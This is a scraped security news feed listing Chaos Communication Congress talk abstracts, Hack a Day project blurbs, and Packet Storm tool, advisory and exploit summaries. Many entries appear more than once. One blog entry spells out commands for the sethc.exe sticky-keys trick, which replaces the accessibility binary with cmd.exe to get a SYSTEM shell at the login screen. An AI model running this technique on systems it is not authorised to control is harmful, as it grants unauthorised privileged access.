Chaos Communication Congress 24th (24C3) 2007 Abstract: MicroElectroMechanical Systems or MEMS are as part of micro system technology, systems with electrical and mechanical subsystems at the micro scale. It is basically an introduction in the technology and in its potential for hardware hacks and potential ways of homebrew devices. Compared to a micro processor, a small sensor or actuator, which normally consists of just one function a micro system combines the data acquisition, processing, and forwarding in itself. If this micro system now contains mechanical part to interact with its environment it is considered to be a MEMS. With constantly increasing experience in MEMS manufacturing the prices per system dropped and the use of the highly sophisticated devices move from strictly automotive, R&D and military applications into consumer products. The wiimote and the iPhone are just two well known products which improve the user experience by the intelligent use of the smart systems. The delay of invention and market introduction of MEMS is mostly caused by the substantial investments to be done to produce this kind of device. The most technologies commonly used until now are transfered from the microchip manufacturing. The so called silicon micromachining uses silicon single crystal disks (Wafers) in combination with batch lithography and etch processing to form the today available systems. This limitation to very difficult and expensive processes restricts the potential manufacture to companies already in the semiconductor business or companies with huge financial backup. Further more the limitation to a very few materials slows down the whole development in the micro scale because of the laking design freedom for the system developer. This is the reason that researcher all over the world try to move from Si to alternative material and work out processes and combination out of those that allow further miniaturization, bigger material lineup, dramatically decrease in investment costs. This talk is giving you an overview of available MEMS, there processes and restriction as well as future developments and the possibility of start of your own MEMS farm.
-
9:25
»
SecDocs
Authors:
Jens Kaufmann Tags:
medical Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: MicroElectroMechanical Systems or MEMS are as part of micro system technology, systems with electrical and mechanical subsystems at the micro scale. It is basically an introduction in the technology and in its potential for hardware hacks and potential ways of homebrew devices. Compared to a micro processor, a small sensor or actuator, which normally consists of just one function a micro system combines the data acquisition, processing, and forwarding in itself. If this micro system now contains mechanical part to interact with its environment it is considered to be a MEMS. With constantly increasing experience in MEMS manufacturing the prices per system dropped and the use of the highly sophisticated devices move from strictly automotive, R&D and military applications into consumer products. The wiimote and the iPhone are just two well known products which improve the user experience by the intelligent use of the smart systems. The delay of invention and market introduction of MEMS is mostly caused by the substantial investments to be done to produce this kind of device. The most technologies commonly used until now are transfered from the microchip manufacturing. The so called silicon micromachining uses silicon single crystal disks (Wafers) in combination with batch lithography and etch processing to form the today available systems. This limitation to very difficult and expensive processes restricts the potential manufacture to companies already in the semiconductor business or companies with huge financial backup. Further more the limitation to a very few materials slows down the whole development in the micro scale because of the laking design freedom for the system developer. This is the reason that researcher all over the world try to move from Si to alternative material and work out processes and combination out of those that allow further miniaturization, bigger material lineup, dramatically decrease in investment costs. This talk is giving you an overview of available MEMS, there processes and restriction as well as future developments and the possibility of start of your own MEMS farm.
-
-
12:01
»
Hack a Day
Members of theTransistor, a Provo, Utah based Hackerspace, are showing off their entry in the Red Bull Creation contest. This is an all-in-one energy drink delivery system. It can take a warm can of Red Bull from a reserve rack and turn it into a chilled cup of goodness in no time. And it (kind [...]
-
-
4:01
»
Hack a Day
You don’t necessarily have to live in a cold climate to experience how roads start to deteriorate once cracks begin forming in the asphalt surface. Even more frustrating than the potholes, dips, and road erosion is the snarled traffic that results from closing lanes to repair them. Researchers at the Georgia Tech Research Institute have [...]
-
-
5:01
»
Hack a Day
[Chris] and [Dom] wanted to build their own battery backup system on the cheap. They were very creative in sourcing the parts, and ended up putting together a battery-backed CCTV system for about eighty bucks. Since short power outages are fairly common in the area this battery backup makes sense. We’ve seen some pretty gnarly whole-house systems [...]
-
-
21:54
»
SecDocs
Authors:
Felix Domke Michael Steil Tags:
games Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: The Xbox 360 probably is the video game console with the most sophisticated security system to date. Nevertheless, is has been hacked, and now Linux can be run on it. This presentation consists of two parts. In the first part, we describe the motivation and the design of the Xbox 360 security system from a very high-legel point of view, present the hack and what is possible with Linux, and discuss how the situation can be improved both for the manufacturer and for hobbyists with future devices. In the second, very technical part, we will discuss the design and implementation details of the Xbox 360 system and security architecture and describe in detail how and why it was hacked, as well as how Linux was ported to this new platform.
-
21:54
»
SecDocs
Authors:
Felix Domke Michael Steil Tags:
games Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: The Xbox 360 probably is the video game console with the most sophisticated security system to date. Nevertheless, is has been hacked, and now Linux can be run on it. This presentation consists of two parts. In the first part, we describe the motivation and the design of the Xbox 360 security system from a very high-legel point of view, present the hack and what is possible with Linux, and discuss how the situation can be improved both for the manufacturer and for hobbyists with future devices. In the second, very technical part, we will discuss the design and implementation details of the Xbox 360 system and security architecture and describe in detail how and why it was hacked, as well as how Linux was ported to this new platform.
-
5:01
»
Hack a Day
The Ambilight system – built in to high-end Phillips TVs – is a neat system to add a bit of ambiance to regular television viewing. With this system, a series of RGB LEDs are mounted to the rear of the TV to respond to whatever is currently being displayed. [Lovro] came up with a very [...]
-
-
22:36
»
Packet Storm Security Exploits
IBM System Storage DS Storage Manager Profiler version 4.8.6 suffers from cross site scripting and remote SQL injection vulnerabilities.
-
-
21:28
»
SecDocs
Authors:
Rop Gonggrijp Tags:
election Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: 2007 has been yet another a turbulent year in The Netherlands with regard to electronic voting. If you remember the presentation at 23c3, 2006 saw the emergence of a campaign against the use of non-auditable voting systems. As a result, two government commissions were appointed, the OSCE monitored a national election and one Windows-based touch screen system with a GPRS-wireless card lost its approval. 2007 saw the re-approval and de-approval of this same system, on grounds that have little to do with the main problems of non-auditability and presumed insecurity. We also got the reports from the OSCE as well as from the two government commissions. For a long time, the dutch government tried desperately to keep the Nedap systems around until something new could be built. We fought back, both in the political arena and in court. This past september, government gave up, and announced decertification of the last remaining electonic voting systems made by Nedap. This is true victory worth celebrating. But dutch people abroad can still vote over the Internet and we need to watch the new electronic voting system the dutch government seems to want to develop. And we need to make sure e-voting doesn't return as a pan-European project.
-
-
18:13
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
18:13
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
15:15
»
SecDocs
Authors:
Dan Cvrcek Tags:
security wireless MICA Event:
Chaos Communication Congress 25th (25C3) 2008 Abstract: Firstly, we mention an initial qualitative risk assessment, carried out by interviewing the operating manager of a large suspension bridge and a contractor responsible for part of a large subway tunnel network who want to use wireless sensor networks. The core of the talk deals with assessing the practical security of the particular COTS system adopted by our team, the Crossbow MICAz motes running TinyOS or XMesh, together with the Stargate gateway: we designed and implemented a variety of attacks on this system and we discuss the security problems we found, together with appropriate fixes where possible. While some of our attacks exploit generally known vulnerabilities, others like selective jamming and power exhaustion through routing table manipulation are original and interesting in their own right. In section we also demonstrate how an attacker can undetectably alter messages in an IEEE 802.15.4 radio environment.
-
14:01
»
Hack a Day
Hackaday readers familiar with the with the CNC and automated machinery scene will be familiar with MakerSlide, the open-source linear bearing system. This linear movement system composed of special aluminum extrusions and mounting plates riding on v-wheels has been used in a lot of awesome builds including the Quantum ORD Bot 3D printer and the Shapeoko CNC [...]
-
-
11:01
»
Hack a Day
The speaker system [Zurcher] bought was made by Klipsch. It is a surround sound unit but it’s intended to be used with a computer so there’s no wireless remote for it. Instead, a wired unit sits on the desk and lets you select between the speakers or headphones, and has a volume adjustment knob. The [...]
-
-
10:03
»
Hack a Day
[Rick] sent in an awesome project he and his uncle [Charlie] have been working on for this summer. It’s a completely automatic wakeboarding system that tows [Charlie] and company from one end of his backyard pond and back again. The entire system is supported by two towers at either end of the pond. Strung between these [...]
-
-
18:29
»
Packet Storm Security Recent Files
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added.
-
18:29
»
Packet Storm Security Tools
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added.
-
18:29
»
Packet Storm Security Misc. Files
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added.
-
18:29
»
Packet Storm Security Recent Files
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added. This is the source release.
-
18:29
»
Packet Storm Security Tools
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added. This is the source release.
-
18:29
»
Packet Storm Security Misc. Files
Access Road is a universal simulator of access controls that is intended to improve design and auditing of IT security. It provides simulations of GNU/Linux (components and rights on the file system), MySQL Server (components and privileges), and a generic Role-Based-Access-Control application. It is designed for database, system, and application administrators, IT architects and developers, and auditors. Reliability and the ability to explain the results are the main objectives. A 50 page tutorial is provided, and a powerful framework allows new simulations to be added. This is the source release.
-
-
23:22
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
23:22
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
16:19
»
Packet Storm Security Exploits
This Metasploit module exploits a vulnerability found in ispVM System 18.0.2. Due to the way ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially crafted file, when a long value is supplied for the version attribute of the ispXCF tag. It results in arbitrary code execution under the context of the user.
-
16:19
»
Packet Storm Security Recent Files
This Metasploit module exploits a vulnerability found in ispVM System 18.0.2. Due to the way ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially crafted file, when a long value is supplied for the version attribute of the ispXCF tag. It results in arbitrary code execution under the context of the user.
-
-
12:02
»
Packet Storm Security Recent Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
12:02
»
Packet Storm Security Misc. Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
-
13:08
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1453-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
13:08
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1453-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
-
7:08
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:08
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:07
»
Packet Storm Security Advisories
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:07
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
-
0:11
»
Packet Storm Security Advisories
Secunia Security Advisory - A vulnerability has been reported in Hitachi COBOL GUI Run Time System and Hitachi COBOL Server GUI Run Time System, which can be exploited by malicious people to compromise a user's system.
-
-
8:19
»
Packet Storm Security Advisories
Apple Security Advisory 2012-05-09-1 - OS X Lion v10.7.4 and Security Update 2012-002 is now available and addresses multiple security issues. An issue existed in the handling of network account logins. The login process recorded sensitive information in the system log, where other users of the system could read it. A temporary file race condition issue existed in blued's initialization routine. There are known attacks on the confidentiality of SSL 3.0 and TLS 1.0 when a cipher suite uses a block cipher in CBC mode. curl disabled the 'empty fragment' countermeasure which prevented these attacks. This issue is addressed by enabling empty fragments. A data injection issue existed in curl's handling of URLs. This issue is addressed through improved validation of URLs. This issue does not affect systems prior to OS X Lion. Various other vulnerabilities have been addressed.
-
8:19
»
Packet Storm Security Recent Files
Apple Security Advisory 2012-05-09-1 - OS X Lion v10.7.4 and Security Update 2012-002 is now available and addresses multiple security issues. An issue existed in the handling of network account logins. The login process recorded sensitive information in the system log, where other users of the system could read it. A temporary file race condition issue existed in blued's initialization routine. There are known attacks on the confidentiality of SSL 3.0 and TLS 1.0 when a cipher suite uses a block cipher in CBC mode. curl disabled the 'empty fragment' countermeasure which prevented these attacks. This issue is addressed by enabling empty fragments. A data injection issue existed in curl's handling of URLs. This issue is addressed through improved validation of URLs. This issue does not affect systems prior to OS X Lion. Various other vulnerabilities have been addressed.
-
-
21:36
»
SecDocs
Authors:
Henryk Plötz Milosch Meriac Tags:
RFID Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Popular contactless systems for physical access control still rely on obscurity. As we have shown, time and time again, proprietary encryption systems are weak and easy to break. In a follow-up to last year's presentation we will now demonstrate attacks on systems with 'proper' cryptographic algorithms. Since we broke the last of the big players on the market at 26C3, most vendors are now migrating to new systems which rectify our main point of concern: proprietary algorithms. All new technologies use AES or 3DES for encryption and/or authentication and vendors tirelessly tout the security of their systems and the use of these algorithms between card, reader and host. We will discuss the design of the successor to a system we attacked last year, and demonstrate how a system can be insecure despite the use of secure cryptoprimitives.
-
-
17:17
»
Packet Storm Security Advisories
Ubuntu Security Notice 1432-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was discovered in the Linux kernel's cifs file system. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. A flaw was found in the Linux kernel's ext4 file system when mounting a corrupt filesystem. A user-assisted remote attacker could exploit this flaw to cause a denial of service. Various other issues were also addressed.
-
-
21:52
»
SecDocs
Tags:
games Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Over 70 million Wiis, over 40 million Xbox 360s and over 35 million Playstation 3s have been sold in the last few years. That makes over 145 million embedded devices out there and most of them are just used to play games. But what can you do with them if you don't like playing games? You hack them to make them run your own code of course! We're going to talk about the various hacks that you can use to gain control of your hardware and make it do what you want it to do. 2010 saw the first hacks for the Playstation 3, soon after Sony removed Other OS functionality. We will detail the operation of current PS3 exploits, show a few new ones and explain where and how Sony went wrong when designing its security system, and show how these holes can be used to gain control over the system and bring Linux back to the PS3. We will also go over hacks for the other consoles, including the JTAG hack for the Xbox 360 which made running homebrew code more convenient, and the cat-and-mouse games that Nintendo played with us to combat Wii hacks. We might also check out the security of their 'new' handheld console - the DSi. Gamers might find this talk interesting even though it is targeted at those who hack (or design) embedded system security. A basic knowledge of crypto is therefore assumed. We will also be present in the Hackcenter before and after the presentation for those of you who are interested in learning more about the subject.
-
21:52
»
SecDocs
Tags:
games Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Over 70 million Wiis, over 40 million Xbox 360s and over 35 million Playstation 3s have been sold in the last few years. That makes over 145 million embedded devices out there and most of them are just used to play games. But what can you do with them if you don't like playing games? You hack them to make them run your own code of course! We're going to talk about the various hacks that you can use to gain control of your hardware and make it do what you want it to do. 2010 saw the first hacks for the Playstation 3, soon after Sony removed Other OS functionality. We will detail the operation of current PS3 exploits, show a few new ones and explain where and how Sony went wrong when designing its security system, and show how these holes can be used to gain control over the system and bring Linux back to the PS3. We will also go over hacks for the other consoles, including the JTAG hack for the Xbox 360 which made running homebrew code more convenient, and the cat-and-mouse games that Nintendo played with us to combat Wii hacks. We might also check out the security of their 'new' handheld console - the DSi. Gamers might find this talk interesting even though it is targeted at those who hack (or design) embedded system security. A basic knowledge of crypto is therefore assumed. We will also be present in the Hackcenter before and after the presentation for those of you who are interested in learning more about the subject.
-
-
21:40
»
SecDocs
Authors:
Harald Welte Tags:
RFID bank Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: How to reverse engineer the data format of a real-world RFID based debit card system. One of Asia’s most popular electronic payment systems uses insecure technology. The EasyCard system, established in 2001, is the most popular stored-valued card in Taiwan. With more than 18 million issued cards, it is the predominant means of paying for public transportation services in the capital Taipei. In 2010, use of the EasyCard was extended beyond transportation. Card holders can now pay in all major convenience stores like 7eleven, coffe shops like Starbucks and and major retail companies like SOGO. Despite the large fraud potential, the EasyCard system uses the MIFARE Classic RFID technology, whose proprietary encryption cipher CRYPTO1 relied on obscurity and was first publicly broken several years ago at 24C3 This presentation analyzes the results of combining the practical attacks on the MIFARE Classic CRYPTO1 system in the context of the EasyCard payment system. It describes the process of reverse- engineering the actual content of the card to discover the public transportation transaction log, the account balance and how the daily spending limit work. Furthermore, the talk will present how fundamentally flawed the system is, and how easy it is to add or subtract monetary value to/from the card. Cards manipulated as described in the talk have been accepted by the payment system.
-
21:40
»
SecDocs
Authors:
Harald Welte Tags:
RFID bank Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: How to reverse engineer the data format of a real-world RFID based debit card system. One of Asia’s most popular electronic payment systems uses insecure technology. The EasyCard system, established in 2001, is the most popular stored-valued card in Taiwan. With more than 18 million issued cards, it is the predominant means of paying for public transportation services in the capital Taipei. In 2010, use of the EasyCard was extended beyond transportation. Card holders can now pay in all major convenience stores like 7eleven, coffe shops like Starbucks and and major retail companies like SOGO. Despite the large fraud potential, the EasyCard system uses the MIFARE Classic RFID technology, whose proprietary encryption cipher CRYPTO1 relied on obscurity and was first publicly broken several years ago at 24C3 This presentation analyzes the results of combining the practical attacks on the MIFARE Classic CRYPTO1 system in the context of the EasyCard payment system. It describes the process of reverse- engineering the actual content of the card to discover the public transportation transaction log, the account balance and how the daily spending limit work. Furthermore, the talk will present how fundamentally flawed the system is, and how easy it is to add or subtract monetary value to/from the card. Cards manipulated as described in the talk have been accepted by the payment system.
-
-
11:01
»
Hack a Day
This rig will take the letters you write on the touchpad using a stylus and turn them into digital characters. The system is very fast and displays near-perfect recognition. This is all thanks to a large data set that was gathered through machine learning. The ATmega644 that powers the system just doesn’t have the speed [...]
-
-
12:01
»
Hack a Day
[Neoxy] always wanted surround sound for his computer, and one day he managed to get a hold of a dead 5.1 system. Why buy one when you can repair someone’s rubbish, right? That turned out to be easier said than done, but after several false-starts he managed to resurrect the audio system by replacing the microcontroller. We [...]
-
-
9:10
»
Carnal0wnage
This has been documented all over, but i like things to be on the blog so i can find them...
You can gain a SYSTEM shell on an application you have administrative access on or if you have physical access to the box and can boot to repair disk or linux distro and can change files.
make a copy somewhere of the original on system sethc.exe
copy c:\windows\system32\sethc.exe c:\
cp /mnt/sda3/Windows/System32/sethc.exe /mnt/sda3/sethc.exe
copy cmd.exe into sethc.exe's place
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
or
cp /mnt/sda3/Windows/System32/cmd.exe /mnt/sda3/Windows/System32/sethc.exe
Reboot, hit Shift key 5 times, SYSTEM shell will pop up, do your thing
it would probably be nice to sethc.exe back when you are done.
-
-
9:01
»
Hack a Day
How we missed this one is anybody’s guess, but one of the presentations at DEFCON last year covers a DIY radar build. [Michael Scarito] talks about the concepts behind radar, and then goes on to show that it’s not too hard or expensive to build a setup of your own. We’ve embedded his 45 minute [...]
-
-
9:55
»
Packet Storm Security Recent Files
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
9:55
»
Packet Storm Security Tools
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
9:55
»
Packet Storm Security Misc. Files
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
-
21:37
»
SecDocs
Authors:
Brenno De Winter Tags:
privacy Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Meet the Netherlands: a nation filled with techno-optimists protecting our freedom by puting in place restrictions on what you can do, reducing our privacy and have technology as a solution for anything and everything. When you make a trip we store your details for two years, your airplane meal selection from two years earlier is good data to test with and when migrating the government website we keep the old website running in an unmaintained state. If you have nothing to hide nothing can go wrong and there is nothing you can do. Well not quite. What would happen if you play the system? If you would take the train and hack the card? What if you were to pick up the resistance you face and use it in your advantage. No matter what the costs would carry on? If you would take some data and show the failures? Not just once but a full month long and call that month Leaktober. What if you would publicly call the failures with our personal data? Ultimately you make a difference. You change the law, you changes the rules of the game and you really can raise the question if storing all that data is really needed. Ultimately people really start to doubt if this is the right way to go. This is a strategic and tactical story on how you can regain some privacy and data protection. Even though for a journalist this should be normal work, thanks to some people these things become very personal. It ends in criminal prosecution, legal threats, insults, a successful counter hack and ultimately a lot of benefits. But standing up for a cause does work as long as you focus on the stories you want to bring. My story is about hacking the system from the inside, overcoming fear and showing bureaucrats that hackers are people too. The talk is a lessons learnt how a few people can change a nation with hacker beliefs if they really want to. A guideline on how to make a difference by hacking the system you want to change. Where you can even make huge mistakes, but with some luck you can win a world. How you can make your critical voice be heard. Zillions of lessons learnt.
-
21:37
»
SecDocs
Authors:
Brenno De Winter Tags:
privacy Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Meet the Netherlands: a nation filled with techno-optimists protecting our freedom by puting in place restrictions on what you can do, reducing our privacy and have technology as a solution for anything and everything. When you make a trip we store your details for two years, your airplane meal selection from two years earlier is good data to test with and when migrating the government website we keep the old website running in an unmaintained state. If you have nothing to hide nothing can go wrong and there is nothing you can do. Well not quite. What would happen if you play the system? If you would take the train and hack the card? What if you were to pick up the resistance you face and use it in your advantage. No matter what the costs would carry on? If you would take some data and show the failures? Not just once but a full month long and call that month Leaktober. What if you would publicly call the failures with our personal data? Ultimately you make a difference. You change the law, you changes the rules of the game and you really can raise the question if storing all that data is really needed. Ultimately people really start to doubt if this is the right way to go. This is a strategic and tactical story on how you can regain some privacy and data protection. Even though for a journalist this should be normal work, thanks to some people these things become very personal. It ends in criminal prosecution, legal threats, insults, a successful counter hack and ultimately a lot of benefits. But standing up for a cause does work as long as you focus on the stories you want to bring. My story is about hacking the system from the inside, overcoming fear and showing bureaucrats that hackers are people too. The talk is a lessons learnt how a few people can change a nation with hacker beliefs if they really want to. A guideline on how to make a difference by hacking the system you want to change. Where you can even make huge mistakes, but with some luck you can win a world. How you can make your critical voice be heard. Zillions of lessons learnt.
-
-
19:03
»
Packet Storm Security Recent Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
19:03
»
Packet Storm Security Tools
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
19:03
»
Packet Storm Security Misc. Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
10:01
»
Hack a Day
In the world of model aircraft, Futaba’s SBUS system is a big deal. Instead of having one servo per channel, the SBUS system allows for 16 proportional controls and two digital channels for each receiver. Basically, if you’re building an awesome plane with retracts on the landing gear and bomb bay doors, this is what you want to [...]
-
-
6:01
»
Hack a Day
Many of the hacks featured here inspire others to build on the creator’s work, and on occasion the positive feedback brings the hack to market. Last year we told you about [Wayne’s] creation, a system aimed at tracking down would-be game console thieves. He received a bunch of requests to document the tracker in full, [...]
-
-
17:18
»
Packet Storm Security Recent Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
17:18
»
Packet Storm Security Misc. Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
-
14:31
»
Hack a Day
[Craig] tried heating his greenhouse last winter, but really only managed to push the limits of his utility bills. This time around he took a different approach by building a system to warm the soil in which his vegetation is planted. The core of the system is this box which houses the plants. It is lined with heating tape [...]
-
12:55
»
SecDocs
Authors:
Guillaume Delugré Tags:
phone Event:
